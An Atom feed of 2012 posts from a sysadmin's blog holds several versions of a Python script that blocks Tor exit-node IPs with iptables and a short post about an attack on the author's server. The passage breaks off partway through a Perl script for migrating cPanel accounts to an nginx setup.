<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2598104819866870995</id><updated>2012-03-09T17:19:05.989-08:00</updated><title type='text'>mywisdom blog</title><subtitle type='html'>Developing this weapon day by day , never resign never surrender. if only i've good team i can finish this faster, meanwhile i've so many jobs as a sysadmin , so fvckin shitz</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://myw1sd0m.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default?start-index=101&amp;max-results=100'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>727</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-5052656511661909307</id><published>2012-03-09T17:19:00.002-08:00</published><updated>2012-03-09T17:19:05.998-08:00</updated><title type='text'>simple tor ip collector and blocker 3</title><content type='html'>#!/usr/bin/python&lt;br /&gt;#simple tor ip collector and blocker v. 3&lt;br /&gt;#made by:ev1lut10n&lt;br /&gt;import urllib,sys,os,sgmllib &lt;br /&gt;&lt;br /&gt;def get_daftar_tor():&lt;br /&gt;&amp;nbsp;&amp;nbsp; os.system("rm -f Tor_ip_list_ALL.csv;wget http://torstatus.blutmagie.de/ip_list_all.php/Tor_ip_list_ALL.csv")&lt;br /&gt;&amp;nbsp;&amp;nbsp; file = open("Tor_ip_list_ALL.csv")&lt;br /&gt;&amp;nbsp;&amp;nbsp; while 1:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tor_ip = file.readline()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tor_ip=tor_ip.rstrip()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmd="/sbin/iptables -A INPUT -s "+tor_ip+" -j DROP"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print cmd+" ---&amp;gt; executed"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; os.system(cmd)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if not tor_ip:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break&lt;br /&gt;&lt;br /&gt;def fetch_from_site_also():&lt;br /&gt;&amp;nbsp;whois="/cgi-bin/whois.pl?ip="&lt;br /&gt;&amp;nbsp;site="http://torstatus.blutmagie.de"&lt;br /&gt;&amp;nbsp;try: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; site_data = urllib.urlopen(site) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; parser = MyParser() &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; parser.parse(site_data.read()) &lt;br /&gt;&amp;nbsp;except(IOError),msg: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "Error in connecting site ", site &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print msg &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sys.exit(1) &lt;br /&gt;&amp;nbsp;links = parser.get_hyperlinks() &lt;br /&gt;&amp;nbsp;for l in links:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if whois in l:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ip_of_t0r= l.replace("/cgi-bin/whois.pl?ip=","") &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ip_of_t0r=ip_of_t0r.rstrip()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print ip_of_t0r&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cmd="/sbin/iptables -A INPUT -s "+ip_of_t0r+" -j DROP"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print cmd+" ---&amp;gt; executed"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; os.system(cmd)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;#asit dhal myparser class&lt;br /&gt;class MyParser(sgmllib.SGMLParser): &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "A simple parser class." &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; def parse(self, s): &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Parse the given string 's'." &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.feed(s) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.close() &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; def __init__(self, verbose=0): &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Initialise an object, passing 'verbose' to the superclass." &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sgmllib.SGMLParser.__init__(self, verbose) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.hyperlinks = [] &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; def start_a(self, attributes): &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Process a hyperlink and its 'attributes'." &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for name, value in attributes: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if name == "href": &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.hyperlinks.append(value) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if name == "src": &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.hyperlinks.append(value) &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; def get_hyperlinks(self): &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Return the list of hyperlinks." &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return self.hyperlinks &lt;br /&gt;&lt;br /&gt;os.system("service iptables start")&lt;br /&gt;get_daftar_tor()&lt;br /&gt;fetch_from_site_also()&lt;br /&gt;os.system("service iptables save")&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-5052656511661909307?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5052656511661909307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/5052656511661909307'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/simple-tor-ip-collector-and-blocker-3.html' title='simple tor ip collector and blocker 3'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-3790192023335898946</id><published>2012-03-09T17:16:00.001-08:00</published><updated>2012-03-09T17:16:04.956-08:00</updated><title type='text'>simple tor ip collector and blocker 2</title><content type='html'>#!/usr/bin/python&lt;br /&gt;#simple tor ip collector and blocker v. 2&lt;br /&gt;#made by:ev1lut10n&lt;br /&gt;import urllib,sys,os,sgmllib &lt;br /&gt;&lt;br /&gt;def get_daftar_tor():&lt;br /&gt;&amp;nbsp;&amp;nbsp; os.system("rm -f Tor_ip_list_ALL.csv;wget http://torstatus.blutmagie.de/ip_list_all.php/Tor_ip_list_ALL.csv")&lt;br /&gt;&amp;nbsp;&amp;nbsp; file = open("Tor_ip_list_ALL.csv")&lt;br /&gt;&amp;nbsp;&amp;nbsp; while 1:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tor_ip = file.readline()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tor_ip=tor_ip.rstrip()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmd="/sbin/iptables -A INPUT -s "+tor_ip+" -j DROP"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print cmd+" ---&amp;gt; executed"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; os.system(cmd)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if not tor_ip:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break&lt;br /&gt;&lt;br /&gt;def fetch_from_site_also():&lt;br /&gt;&amp;nbsp;whois="/cgi-bin/whois.pl?ip="&lt;br /&gt;&amp;nbsp;site="http://torstatus.blutmagie.de"&lt;br /&gt;&amp;nbsp;try: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; site_data = urllib.urlopen(site) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; parser = MyParser() &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; parser.parse(site_data.read()) &lt;br /&gt;&amp;nbsp;except(IOError),msg: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "Error in connecting site ", site &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print msg &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sys.exit(1) &lt;br /&gt;&amp;nbsp;links = parser.get_hyperlinks() &lt;br /&gt;&amp;nbsp;for l in links:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if whois in l:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ip_of_t0r= l.replace("/cgi-bin/whois.pl?ip=","") &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ip_of_t0r=ip_of_t0r.rstrip()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print ip_of_t0r&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cmd="/sbin/iptables -A INPUT -s "+ip_of_t0r+" -j DROP"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print cmd+" ---&amp;gt; executed"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; os.system(cmd)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;#asit dhal myparser class&lt;br /&gt;class MyParser(sgmllib.SGMLParser): &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "A simple parser class." &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; def parse(self, s): &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Parse the given string 's'." &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.feed(s) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.close() &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; def __init__(self, verbose=0): &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Initialise an object, passing 'verbose' to the superclass." &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sgmllib.SGMLParser.__init__(self, verbose) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.hyperlinks = [] &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; def start_a(self, attributes): &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Process a hyperlink and its 'attributes'." &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for name, value in attributes: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if name == "href": &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.hyperlinks.append(value) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if name == "src": &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.hyperlinks.append(value) &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; def get_hyperlinks(self): &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Return the list of hyperlinks." &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return self.hyperlinks &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;get_daftar_tor()&lt;br /&gt;fetch_from_site_also()&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-3790192023335898946?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/3790192023335898946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/3790192023335898946'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/simple-tor-ip-collector-and-blocker-2.html' title='simple tor ip collector and blocker 2'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-4287142135323559067</id><published>2012-03-09T16:59:00.000-08:00</published><updated>2012-03-09T16:59:09.795-08:00</updated><title type='text'>tor_server_collector.py</title><content type='html'>#!/usr/bin/python&lt;br /&gt;#simple tor ip collector and blocker&lt;br /&gt;#made by:ev1lut10n&lt;br /&gt;import os&lt;br /&gt;def get_daftar_tor():&lt;br /&gt;&amp;nbsp;&amp;nbsp; os.system("rm -f Tor_ip_list_ALL.csv;wget http://torstatus.blutmagie.de/ip_list_all.php/Tor_ip_list_ALL.csv")&lt;br /&gt;&amp;nbsp;&amp;nbsp; file = open("Tor_ip_list_ALL.csv")&lt;br /&gt;&amp;nbsp;&amp;nbsp; while 1:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tor_ip = file.readline()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tor_ip=tor_ip.rstrip()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmd="/sbin/iptables -A INPUT -s "+tor_ip+" -j DROP"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print cmd+" ---&amp;gt; executed"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; os.system(cmd)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if not tor_ip:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break&lt;br /&gt;&lt;br /&gt;os.system("service iptables start")&lt;br /&gt;get_daftar_tor()&lt;br /&gt;os.system("service iptables save")&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-4287142135323559067?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4287142135323559067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4287142135323559067'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/torservercollectorpy.html' title='tor_server_collector.py'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-4620257887675721456</id><published>2012-03-09T13:45:00.000-08:00</published><updated>2012-03-09T13:45:17.822-08:00</updated><title type='text'>some skid attacking one of my server using tor exit nodes</title><content type='html'>kids game he must pay much later&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Vw_lCOzEhMk/T1p5wbVtQ7I/AAAAAAAAA8M/pMiHPumGJI4/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0"  src="http://2.bp.blogspot.com/-Vw_lCOzEhMk/T1p5wbVtQ7I/AAAAAAAAA8M/pMiHPumGJI4/s1600/botnet.jpg" width="720" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-4620257887675721456?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4620257887675721456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4620257887675721456'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/some-skid-attacking-one-of-my-server.html' title='some skid attacking one of my server using tor exit nodes'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-Vw_lCOzEhMk/T1p5wbVtQ7I/AAAAAAAAA8M/pMiHPumGJI4/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-480064973158097620</id><published>2012-03-08T18:49:00.003-08:00</published><updated>2012-03-08T18:50:15.294-08:00</updated><title type='text'>zedi.pl the lord videl</title><content type='html'>#!/usr/bin/perl -W&lt;br /&gt;#zedi.pl the lord videl made by: ev1lut10n&lt;br /&gt;&lt;br /&gt;our $direktori_chroot="/home/nginx/";&lt;br /&gt;&lt;br /&gt;our $direktori_chroot_named="/var/named/chroot/var/named/";&lt;br /&gt;our $old_ip="old_ip_here";&lt;br /&gt;our $old_ip2="old_ip2_here";&lt;br /&gt;our $new_ip="new_ip_here";&lt;br /&gt;&lt;br /&gt;our $old_ns1="old ns 0";&lt;br /&gt;our $old_ns2="old ns 1";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;our $old_ns1b="old ns 2";&lt;br /&gt;our $old_ns2b="old ns 3";&lt;br /&gt;&lt;br /&gt;our $new_ns1="new_private_ns_here";&lt;br /&gt;our $new_ns2="new private ns here";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;our $old_soa_ktk="old email on soa";&lt;br /&gt;our $new_soa_ktk="h4x0r.l33tb0x.org";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;our $dir_old_cpanel_environment="/home/mywisdom/users/";&lt;br /&gt;&lt;br /&gt;our $direktori_sites_nginx="/home/nginx/usr/local/nginx/sites-enabled/";&lt;br /&gt;&lt;br /&gt;sub readall_tgz_and_add_user&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$direktori_file_tgz="/root/c/";&lt;br /&gt;system("cd $direktori_file_tgz");&lt;br /&gt;open(PROSES_MYSQL, "cd /root/c;ls *.tgz |");&lt;br /&gt;while (&amp;lt;PROSES_MYSQL&amp;gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;$file_tgz =&amp;nbsp; $_;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;$nama_user=~ s/^\s+//; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;$nama_user=~ s/\s+$//;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;$file_tgz=~ s/^\s+//; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;$file_tgz=~ s/\s+$//;&lt;br /&gt;&lt;br /&gt;$nama_user=str_replace(".tgz","",$file_tgz);&lt;br /&gt;$perintah_add_user="adduser -s /usr/sbin/nologin -d /home/".$nama_user." -M ".$nama_user;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; system($perintah_add_user);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$perintah_kopi_tgz="mkdir /home/".$nama_user.";cp 